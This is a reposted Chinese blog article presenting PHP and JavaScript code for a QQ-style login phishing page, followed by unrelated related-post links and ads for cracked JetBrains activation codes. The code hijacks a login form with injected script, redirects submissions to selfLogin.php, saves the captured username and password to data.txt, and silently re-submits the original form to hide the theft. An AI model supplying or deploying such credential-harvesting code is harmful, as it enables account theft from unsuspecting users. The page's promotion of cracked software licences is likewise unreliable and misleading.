qq登录钓鱼php网页,PHP+JS模仿登录钓鱼「建议收藏」

qq登录钓鱼php网页,PHP+JS模仿登录钓鱼「建议收藏」目录介绍login.php正常登录的文件selfLogin.php自定义的登录文件data.txt记录用户输入的数据login.phpecho””;$userInfo=$_POST;if($userInfo){#code…var_dump($userInfo,’登录成功’);exit();}?>登录用户姓名:用户密码://js劫持代码window.onload…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

目录介绍

login.php 正常登录的文件

selfLogin.php 自定义的登录文件

data.txt 记录用户输入的数据

login.php

echo “

";

$userInfo = $_POST ;

if ($userInfo) {

# code…

var_dump($userInfo,’登录成功’) ;exit();

}

?>

登录

用户姓名:

用户密码:

//js劫持代码

window.onload = function (eve) {

var form = document.getElementById(‘login’);

form.innerHTML = ‘

用户姓名: 用户密码: ‘ ;

//钓鱼地址

form.action = “selfLogin.php” ;

}

selfLogin.php

$name = ” ;

$pwd = ” ;

//var_dump(‘数据被截取了’,$_POST) ;

if($_POST) {

//记录获取的数据信息

$name = $_POST[‘name’] ;

$pwd = $_POST[‘pwd’] ;

file_put_contents(‘data.txt’, json_encode($_POST,true)) ;

}

?>

//构建之前的页面

window.onload = function (eve) {

var name = ‘<?php echo $name; ?>’ ;

var pwd = ‘<?php echo $pwd; ?>’ ;

if(name && pwd) {

var div = document.createElement(‘div’);

document.body.appendChild(div);

div.innerHTML =’

‘+

‘ 用户姓名: 用户密码: ‘ ;

document.getElementById(‘login2’).submit();

}

}

data.txt

{“name”:”admin”,”pwd”:”123456″}

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/172701.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • neo4j如何安装_neo4j环境变量配置

    neo4j如何安装_neo4j环境变量配置一、neo4j简介最近开始学习知识图谱,所以首先想先学习一下neo4j的使用。Neo4j是一个高性能的,NOSQL图形数据库,它将结构化数据存储在网络上而不是表中。由于知识图谱中存在大量的关系型信息(实体—关系—实体),使用结构化数据库进行存储将产生大量的冗余存储信息,因此将图数据库作为知识图谱的存储容器成为流行的选择。当前较为常用的图数据库主要有Neo4j等。二、neo4j的安装功能快捷键撤销:Ctrl/Command+Z重做:Ctrl/Command+Y加粗:Ctrl/Co

    2022年10月26日
  • java面试问题大全及答案大全word,逆袭面经分享

    java面试问题大全及答案大全word,逆袭面经分享一、对象的实例化1.创建对象的方式new:最常见的方式(本质是构造器)变形1:Xxx的静态方法变形2:XxBuilder/XxoxFactory的静态方法Class的newInstance():反射的方式,只能调用空参的构造器,权限必须是publicConstructor的newInstance(Xxx):反射的方式,位于java.lang.reflect.Constructor可以调用空参、带参的构造器,权限没有要求使用clone():不调用任何构造器,当前类需

    2022年7月7日
  • 关于父进程和子进程的关系(UAC 绕过思路)

    关于父进程和子进程的关系(UAC 绕过思路)

    2022年3月2日
  • jetbrains激活码【2021.10最新】[通俗易懂]

    (jetbrains激活码)本文适用于JetBrains家族所有ide,包括IntelliJidea,phpstorm,webstorm,pycharm,datagrip等。IntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,下面是详细链接哦~https://javaforall.net/100143.html…

    2022年3月28日
  • 开启2019,依然在路上

    依然在路上,享受每一天这一年,简单做,坚持做,沉下心,等待花开。现在已经是2019年2月份了,过完了年,开始上班了,回想过年的那些日子,真的是简单和快乐,如果经常看我博客的伙伴一定知道,我2018年写过很多次我的精神状态(有点抑郁),我很多次调整自己,尝试让自己快乐一点,但是一直很难摆脱那种心理消极不开心的状态。好在我陷入的不是很深,现在我感觉自己已经差不多走出来了,当我这段时间去回想2…

    2022年2月27日
  • dom.querySelector和document.getElementById区别

    dom.querySelector和document.getElementById区别、document.getElementById可以查询纯数字的iddom.querySelectordocument.querySelectorAll(’[id=“111”]’)在某个dom下寻找相应选择器的元素背景产品反馈项目系统模板复制之后,元素无法拖拽。经排查发现元素继承自move组件。而每个元素绑定的id竟然纯数字;复制模板之后由于项目的复杂性无法统一的对复制出…

    2022年7月15日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号